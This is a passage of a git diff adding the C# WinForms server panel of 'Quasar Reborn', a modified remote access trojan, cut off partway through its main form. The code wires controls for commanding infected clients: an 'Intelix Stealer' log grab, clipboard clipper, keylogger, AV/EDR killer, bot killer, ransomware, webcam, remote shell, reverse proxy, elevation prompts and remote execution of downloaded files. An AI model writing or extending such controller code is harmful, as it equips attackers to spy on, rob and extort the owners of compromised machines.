tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 1); + this.tableLayoutPanel.Controls.Add(this.mainTabControl, 0, 0); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.GrowStyle = System.Windows.Forms.TableLayoutPanelGrowStyle.FixedSize; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(4); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 2; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 28F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1278, 583); + this.tableLayoutPanel.TabIndex = 6; + // + // statusStrip + // + this.statusStrip.BackColor = System.Drawing.SystemColors.Control; + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.listenToolStripStatusLabel, + this.trafficToolStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 555); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1278, 28); + this.statusStrip.TabIndex = 3; + this.statusStrip.Text = "statusStrip1"; + // + // listenToolStripStatusLabel + // + this.listenToolStripStatusLabel.ForeColor = System.Drawing.Color.White; + this.listenToolStripStatusLabel.Name = "listenToolStripStatusLabel"; + this.listenToolStripStatusLabel.Size = new System.Drawing.Size(107, 22); + this.listenToolStripStatusLabel.Text = "Listening: False"; + // + // trafficToolStripStatusLabel + // + this.trafficToolStripStatusLabel.ForeColor = System.Drawing.Color.White; + this.trafficToolStripStatusLabel.Name = "trafficToolStripStatusLabel"; + this.trafficToolStripStatusLabel.Size = new System.Drawing.Size(1152, 22); + this.trafficToolStripStatusLabel.Spring = true; + this.trafficToolStripStatusLabel.Text = "Traffic: ↓ 0 B | ↑ 0 B"; + this.trafficToolStripStatusLabel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + // + // FrmMain + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1278, 583); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.Black; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(846, 507); + this.Name = "FrmMain"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Quasar Reborn - Connected: 0"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmMain_FormClosing); + this.Load += new System.EventHandler(this.FrmMain_Load); + this.mainTabControl.ResumeLayout(false); + this.tabClients.ResumeLayout(false); + this.contextMenuStrip.ResumeLayout(false); + this.searchPanel.ResumeLayout(false); + this.searchPanel.PerformLayout(); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hIP; + private System.Windows.Forms.ColumnHeader hVersion; + private System.Windows.Forms.ColumnHeader hCountry; + private System.Windows.Forms.ColumnHeader hOS; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem connectionToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem reconnectToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem disconnectToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hTag; + private System.Windows.Forms.ImageList imgFlags; + private System.Windows.Forms.ToolStripMenuItem systemToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem surveillanceToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem taskManagerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem fileManagerToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hAccountType; + private System.Windows.Forms.ToolStripMenuItem systemInformationToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hUserStatus; + private System.Windows.Forms.ToolStripMenuItem intelixStealerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem clipperToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem survivalToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem avKillerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem botKillerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem ransomwareToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem systemOptionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator ctxtLine; + private System.Windows.Forms.ToolStripMenuItem actionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem standbyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startupManagerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem keyloggerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem reverseProxyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem registryEditorToolStripMenuItem; + private AeroListView lstClients; + private System.Windows.Forms.NotifyIcon notifyIcon; + private System.Windows.Forms.ColumnHeader hUserPC; + private System.Windows.Forms.ColumnHeader hActiveWindow; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem selectAllToolStripMenuItem; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.TabControl mainTabControl; + private System.Windows.Forms.TabPage tabClients; + private System.Windows.Forms.TabPage tabBuilder; + private System.Windows.Forms.TabPage tabSettings; + private System.Windows.Forms.TabPage tabAutoTasks; + private System.Windows.Forms.TabPage tabStatistics; + private System.Windows.Forms.TabPage tabAbout; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; + private System.Windows.Forms.ToolStripStatusLabel trafficToolStripStatusLabel; + private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem userSupportToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem; + private System.Windows.Forms.Panel searchPanel; + private System.Windows.Forms.TextBox txtSearch; + private System.Windows.Forms.Label lblSearch; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs new file mode 100755 index 0000000..338a41c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs @@ -0,0 +1,1244 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Extensions; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmMain : Form + { + public QuasarServer ListenServer { get; set; } + + private const int STATUS_ID = 4; + private const int USERSTATUS_ID = 5; + private const int ACTIVEWINDOW_ID = 9; + + private bool _processingClientConnections; + private readonly ClientStatusHandler _clientStatusHandler; + private readonly IntelixStealerHandler _intelixStealerHandler; + private readonly SurvivalLogHandler _survivalLogHandler; + private readonly LiveKeyloggerHandler _liveKeyloggerHandler; + private readonly BotKillerHandler _botKillerHandler; + private readonly RansomwareHandler _ransomwareHandler; + private readonly SystemOptionHandler _systemOptionHandler; + private Controls.StatisticsPanel statisticsPanel; + private readonly Queue> _clientConnections = new Queue>(); + private readonly object _processingClientConnectionsLock = new object(); + private readonly object _lockClients = new object(); // lock for clients-listview + + // Traffic tracking + private long _totalBytesReceived = 0; + private long _totalBytesSent = 0; + private System.Windows.Forms.Timer _trafficUpdateTimer; + private System.Windows.Forms.Timer _activeWindowTimer; + + public FrmMain() + { + _clientStatusHandler = new ClientStatusHandler(); + _intelixStealerHandler = new IntelixStealerHandler(); + _survivalLogHandler = new SurvivalLogHandler(); + _liveKeyloggerHandler = new LiveKeyloggerHandler(); + _botKillerHandler = new BotKillerHandler(); + _ransomwareHandler = new RansomwareHandler(); + _systemOptionHandler = new SystemOptionHandler(); + + RegisterMessageHandler(); + InitializeComponent(); + + // Configure ListView + lstClients.GridLines = false; + if (lstClients.Columns.Count > 8) + lstClients.Columns[8].Width = 120; + contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + contextMenuStrip.Font = new System.Drawing.Font("Segoe UI", 8.5f); + + // Initialize traffic update timer + _trafficUpdateTimer = new System.Windows.Forms.Timer(); + _trafficUpdateTimer.Interval = 1000; + _trafficUpdateTimer.Tick += TrafficUpdateTimer_Tick; + _trafficUpdateTimer.Start(); + + // Initialize active window update timer (every 5 seconds) + _activeWindowTimer = new System.Windows.Forms.Timer(); + _activeWindowTimer.Interval = 5000; + _activeWindowTimer.Tick += ActiveWindowTimer_Tick; + _activeWindowTimer.Start(); + } + + /// + /// Rebuilds the context menu based on the FlatContextMenu setting. + /// Flat = all items in one list (except Client Management which stays as submenu). + /// Grouped = default submenus (Administration, Monitoring, User Support). + /// + public void RebuildContextMenu() + { + if (this.InvokeRequired) { this.Invoke((MethodInvoker)RebuildContextMenu); return; } + + contextMenuStrip.Items.Clear(); + + if (Settings.FlatContextMenu) + { + // Flat layout: all feature items directly in the root, Client Management stays as submenu + var items = new System.Windows.Forms.ToolStripItem[] + { + // Administration items + systemInformationToolStripMenuItem, + fileManagerToolStripMenuItem, + startupManagerToolStripMenuItem, + taskManagerToolStripMenuItem, + remoteShellToolStripMenuItem, + connectionsToolStripMenuItem, + reverseProxyToolStripMenuItem, + registryEditorToolStripMenuItem, + remoteExecuteToolStripMenuItem, + actionsToolStripMenuItem, + // Monitoring items + remoteDesktopToolStripMenuItem, + webcamToolStripMenuItem, + keyloggerToolStripMenuItem, + intelixStealerToolStripMenuItem, + clipperToolStripMenuItem, + survivalToolStripMenuItem, + avKillerToolStripMenuItem, + botKillerToolStripMenuItem, + ransomwareToolStripMenuItem, + systemOptionsToolStripMenuItem, + // User Support items + showMessageboxToolStripMenuItem, + visitWebsiteToolStripMenuItem, + // Separator + Client Management + Select All + lineToolStripMenuItem, + connectionToolStripMenuItem, + selectAllToolStripMenuItem, + }; + contextMenuStrip.Items.AddRange(items); + } + else + { + // Grouped layout (default) + contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] + { + systemToolStripMenuItem, + surveillanceToolStripMenuItem, + userSupportToolStripMenuItem, + connectionToolStripMenuItem, + lineToolStripMenuItem, + selectAllToolStripMenuItem, + }); + } + } + + /// + /// Registers the client status message handler for client communication. + /// + private void RegisterMessageHandler() + { + MessageHandler.Register(_clientStatusHandler); + MessageHandler.Register(_intelixStealerHandler); + MessageHandler.Register(_survivalLogHandler); + MessageHandler.Register(_liveKeyloggerHandler); + MessageHandler.Register(_botKillerHandler); + MessageHandler.Register(_ransomwareHandler); + MessageHandler.Register(_systemOptionHandler); + _clientStatusHandler.StatusUpdated += SetStatusByClient; + _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient; + } + + /// + /// Unregisters the client status message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_clientStatusHandler); + MessageHandler.Unregister(_intelixStealerHandler); + MessageHandler.Unregister(_survivalLogHandler); + MessageHandler.Unregister(_liveKeyloggerHandler); + MessageHandler.Unregister(_botKillerHandler); + MessageHandler.Unregister(_ransomwareHandler); + MessageHandler.Unregister(_systemOptionHandler); + _clientStatusHandler.StatusUpdated -= SetStatusByClient; + _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient; + } + + public void UpdateWindowTitle() + { + try + { + if (this.InvokeRequired) + { + this.Invoke((MethodInvoker)UpdateWindowTitle); + return; + } + int selected = lstClients.SelectedItems.Count; + int totalConnected = ListenServer?.ConnectedClients.Length ?? 0; + string ratName = Settings.CustomRatName; + this.Text = (selected > 0) + ? string.Format("{0} - Connected: {1} [Selected: {2}]", ratName, totalConnected, selected) + : string.Format("{0} - Connected: {1}", ratName, totalConnected); + } + catch (Exception) + { + } + } + + private void InitializeServer() + { + X509Certificate2 serverCertificate; +#if DEBUG + serverCertificate = new DummyCertificate(); +#else + if (!File.Exists(Settings.CertificatePath)) + { + using (var certificateSelection = new FrmCertificate()) + { + while (certificateSelection.ShowDialog() != DialogResult.OK) + { } + } + } + serverCertificate = new X509Certificate2(Settings.CertificatePath); +#endif + ListenServer = new QuasarServer(serverCertificate); + ListenServer.ServerState += ServerState; + ListenServer.ClientConnected += ClientConnected; + ListenServer.ClientDisconnected += ClientDisconnected; + } + + private void StartConnectionListener() + { + try + { + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + ListenServer.Disconnect(); + } + catch (Exception) + { + ListenServer.Disconnect(); + } + } + + private void AutostartListening() + { + if (Settings.AutoListen) + { + StartConnectionListener(); + } + + if (Settings.EnableNoIPUpdater) + { + NoIpUpdater.Start(); + } + } + + private void FrmMain_Load(object sender, EventArgs e) + { + UpdateWindowTitle(); + if (Settings.DarkMode) + DarkModeManager.ApplyDarkMode(this); + InitializeServer(); + AutostartListening(); + EmbedFormsIntoTabs(); + RebuildContextMenu(); + } + + private void EmbedFormsIntoTabs() + { + // Embed Builder form + var builderForm = new FrmBuilder(); + builderForm.TopLevel = false; + builderForm.FormBorderStyle = FormBorderStyle.None; + builderForm.Dock = DockStyle.Fill; + tabBuilder.Controls.Add(builderForm); + builderForm.Show(); + builderForm.Invalidate(true); + + // Embed Settings form + var settingsForm = new FrmSettings(ListenServer); + settingsForm.TopLevel = false; + settingsForm.FormBorderStyle = FormBorderStyle.None; + settingsForm.Dock = DockStyle.Fill; + tabSettings.Controls.Add(settingsForm); + settingsForm.Show(); + settingsForm.Invalidate(true); + + // Embed AutoTasks form + var autoTasksForm = new FrmAutoTasks(); + autoTasksForm.TopLevel = false; + autoTasksForm.FormBorderStyle = FormBorderStyle.None; + autoTasksForm.Dock = DockStyle.Fill; + tabAutoTasks.Controls.Add(autoTasksForm); + autoTasksForm.Show(); + autoTasksForm.Invalidate(true); + + // Embed Statistics panel + if (statisticsPanel == null) + { + statisticsPanel = new Controls.StatisticsPanel(ListenServer); + } + statisticsPanel.Dock = DockStyle.Fill; + tabStatistics.Controls.Add(statisticsPanel); + + // Embed About form + var aboutForm = new FrmAbout(); + aboutForm.TopLevel = false; + aboutForm.FormBorderStyle = FormBorderStyle.None; + aboutForm.Dock = DockStyle.Fill; + tabAbout.Controls.Add(aboutForm); + aboutForm.Show(); + } + + private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) + { + if (_trafficUpdateTimer != null) + { + _trafficUpdateTimer.Stop(); + _trafficUpdateTimer.Dispose(); + } + if (_activeWindowTimer != null) + { + _activeWindowTimer.Stop(); + _activeWindowTimer.Dispose(); + } + ListenServer.Disconnect(); + UnregisterMessageHandler(); + notifyIcon.Visible = false; + notifyIcon.Dispose(); + } + + private void lstClients_SelectedIndexChanged(object sender, EventArgs e) + { + UpdateWindowTitle(); + } + + private void ServerState(Networking.Server server, bool listening, ushort port) + { + try + { + this.Invoke((MethodInvoker) delegate + { + if (!listening) + lstClients.Items.Clear(); + listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening."; + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + private void TrafficUpdateTimer_Tick(object sender, EventArgs e) + { + if (ListenServer != null) + { + _totalBytesReceived = ListenServer.BytesReceived; + _totalBytesSent = ListenServer.BytesSent; + } + UpdateTrafficLabel(); + } + + private void ActiveWindowTimer_Tick(object sender, EventArgs e) + { + // Request active window from all connected clients + // This runs every 5 seconds (configured in Designer) + try + { + var clients = GetConnectedClients(); + foreach (var client in clients) + { + if (client != null && client.Connected) + { + client.Send(new GetActiveWindow()); + } + } + } + catch { } + } + + private void Client_ClientRead(Client client, IMessage message, int messageLength) + { + if (message is GetActiveWindowResponse response) + { + if (client.Value != null) + client.Value.ActiveWindow = response.WindowTitle; + + lstClients.Invoke((MethodInvoker)delegate + { + var item = GetListViewItemByClient(client); + if (item != null && item.SubItems.Count > ACTIVEWINDOW_ID) + item.SubItems[ACTIVEWINDOW_ID].Text = response.WindowTitle ?? ""; + }); + } + } + + private void UpdateTrafficLabel() + { + if (trafficToolStripStatusLabel == null) return; + string text = string.Format("Traffic: ↓ {0} | ↑ {1}", + StringHelper.GetHumanReadableFileSize(_totalBytesReceived), + StringHelper.GetHumanReadableFileSize(_totalBytesSent)); + if (this.InvokeRequired) + this.Invoke((MethodInvoker)(() => trafficToolStripStatusLabel.Text = text)); + else + trafficToolStripStatusLabel.Text = text; + } + + private void ClientConnected(Client client) + { + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, true)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + + // Execute Auto Tasks on Initial Connection + ExecuteAutoTasks(client, "Initial"); + + // Request initial active window + try + { + client.Send(new GetActiveWindow()); + } + catch { } + } + + private void ClientDisconnected(Client client) + { + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, false)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + } + + private void ProcessClientConnections(object state) + { + while (true) + { + KeyValuePair client; + lock (_clientConnections) + { + if (!ListenServer.Listening) + { + _clientConnections.Clear(); + } + + if (_clientConnections.Count == 0) + { + lock (_processingClientConnectionsLock) + { + _processingClientConnections = false; + } + return; + } + + client = _clientConnections.Dequeue(); + } + + if (client.Key != null) + { + switch (client.Value) + { + case true: + AddClientToListview(client.Key); + if (Settings.ShowPopup) + ShowPopup(client.Key); + break; + case false: + RemoveClientFromListview(client.Key); + break; + } + } + } + } + + /// + /// Sets the tooltip text of the listview item of a client. + /// + /// The client on which the change is performed. + /// The new tooltip text. + public void SetToolTipText(Client client, string text) + { + if (client == null) return; + + try + { + lstClients.Invoke((MethodInvoker) delegate + { + var item = GetListViewItemByClient(client); + if (item != null) + item.ToolTipText = text; + }); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Adds a connected client to the Listview. + /// + /// The client to add. + private void AddClientToListview(Client client) + { + if (client == null) return; + + try + { + // Prevent duplicate entries + lstClients.Invoke((MethodInvoker)delegate + { + lock (_lockClients) + { + if (lstClients.Items.Cast().Any(item => item != null && client.Equals(item.Tag))) + return; + + ListViewItem lvi = new ListViewItem(new string[] + { + " " + client.EndPoint.Address, client.Value.Tag, + client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode, + client.Value.OperatingSystem, client.Value.AccountType, "" + }) { Tag = client, ImageIndex = client.Value.ImageIndex }; + + // Ensure no double-subscription + client.ClientRead -= Client_ClientRead; + client.ClientRead += Client_ClientRead; + + lstClients.Items.Add(lvi); + } + }); + + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Removes a connected client from the Listview. + /// + /// The client to remove. + private void RemoveClientFromListview(Client client) + { + if (client == null) return; + + try + { + lstClients.Invoke((MethodInvoker) delegate + { + lock (_lockClients) + { + foreach (ListViewItem lvi in lstClients.Items.Cast() + .Where(lvi => lvi != null && client.Equals(lvi.Tag))) + { + lvi.Remove(); + break; + } + } + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Sets the status of a client. + /// + /// The message handler which raised the event. + /// The client to update the status of. + /// The new status. + private void SetStatusByClient(object sender, Client client, string text) + { + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[STATUS_ID].Text = text; + } + + /// + /// Sets the user status of a client. + /// + /// The message handler which raised the event. + /// The client to update the user status of. + /// The new user status. + private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus) + { + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); + + } + + /// + /// Gets the Listview item which belongs to the client. + /// Must be called from the UI thread. + /// + /// The client to get the Listview item of. + /// Listview item of the client, or null if not found. + private ListViewItem GetListViewItemByClient(Client client) + { + if (client == null) return null; + + // Must be on UI thread — callers from background threads should use BeginInvoke + if (lstClients.InvokeRequired) return null; + + return lstClients.Items.Cast() + .FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag)); + } + + /// + /// Gets all selected clients. + /// + /// An array of all selected Clients. + private Client[] GetSelectedClients() + { + List clients = new List(); + + lstClients.Invoke((MethodInvoker)delegate + { + lock (_lockClients) + { + if (lstClients.SelectedItems.Count == 0) return; + foreach (ListViewItem lvi in lstClients.SelectedItems) + { + if (lvi != null && lvi.Tag is Client client) + clients.Add(client); + } + } + }); + + return clients.ToArray(); + } + + /// + /// Gets all connected clients. + /// + /// An array of all connected Clients. + private Client[] GetConnectedClients() + { + return ListenServer.ConnectedClients; + } + + /// + /// Displays a popup with information about a client. + /// + /// The client. + private void ShowPopup(Client c) + { + try + { + this.Invoke((MethodInvoker)delegate + { + if (c == null || c.Value == null) return; + + notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country), + string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), + c.Value.OperatingSystem), ToolTipIcon.Info); + }); + } + catch (InvalidOperationException) + { + } + } + + #region "ContextMenuStrip" + + #region "Client Management" + + private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoAskElevate()); + } + } + + private void updateToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void reconnectToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientReconnect()); + } + } + + private void disconnectToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientDisconnect()); + } + } + + private void uninstallToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count == 0) return; + if ( + MessageBox.Show( + string.Format( + "Are you sure you want to uninstall the client on {0} computer\\s?", + lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo, + MessageBoxIcon.Question) == DialogResult.Yes) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientUninstall()); + } + } + } + + #endregion + + #region "Administration" + + private void systemInformationToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmSystemInformation frmSi = FrmSystemInformation.CreateNewOrGetExisting(c); + frmSi.Show(); + frmSi.Focus(); + } + } + + private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmFileManager frmFm = FrmFileManager.CreateNewOrGetExisting(c); + frmFm.Show(); + frmFm.Focus(); + } + } + + private void startupManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmStartupManager frmStm = FrmStartupManager.CreateNewOrGetExisting(c); + frmStm.Show(); + frmStm.Focus(); + } + } + + private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmTaskManager frmTm = FrmTaskManager.CreateNewOrGetExisting(c); + frmTm.Show(); + frmTm.Focus(); + } + } + + private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(c); + frmRs.Show(); + frmRs.Focus(); + } + } + + private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmConnections frmCon = FrmConnections.CreateNewOrGetExisting(c); + frmCon.Show(); + frmCon.Focus(); + } + } + + private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmReverseProxy frmRs = new FrmReverseProxy(clients); + frmRs.Show(); + } + } + + private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + foreach (Client c in GetSelectedClients()) + { + FrmRegistryEditor frmRe = FrmRegistryEditor.CreateNewOrGetExisting(c); + frmRe.Show(); + frmRe.Focus(); + } + } + } + + private void localFileToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void webFileToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void shutdownToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShutdownAction {Action = ShutdownAction.Shutdown}); + } + } + + private void restartToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShutdownAction {Action = ShutdownAction.Restart}); + } + } + + private void standbyToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShutdownAction {Action = ShutdownAction.Standby}); + } + } + + #endregion + + #region "Monitoring" + + private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c); + frmRd.Show(); + frmRd.Focus(); + } + } + + private void webcamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + var frmWebcam = FrmRemoteWebcam.CreateNewOrGetExisting(c); + frmWebcam.Show(); + frmWebcam.Focus(); + } + } + + private void intelixStealerToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + foreach (Client client in clients) + { + client.Send(new GetIntelixStealerLogs()); + } + MessageBox.Show($"Intelix Stealer command sent to {clients.Length} client(s).\nResults will be saved when received.", + "Intelix Stealer", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void clipperToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + using (var frm = new FrmClipper(clients)) + { + frm.ShowDialog(); + } + } + } + + private void survivalToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + using (var frm = new FrmSurvival(clients)) + { + frm.ShowDialog(); + } + } + } + + private void avKillerToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmAVKiller(clients[0]); + frm.Show(); + } + else if (clients.Length == 0) + { + MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select only one client for AV/EDR Killer.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void botKillerToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 1) + { + var frm = new FrmBotKiller(clients[0]); + frm.Show(); + } 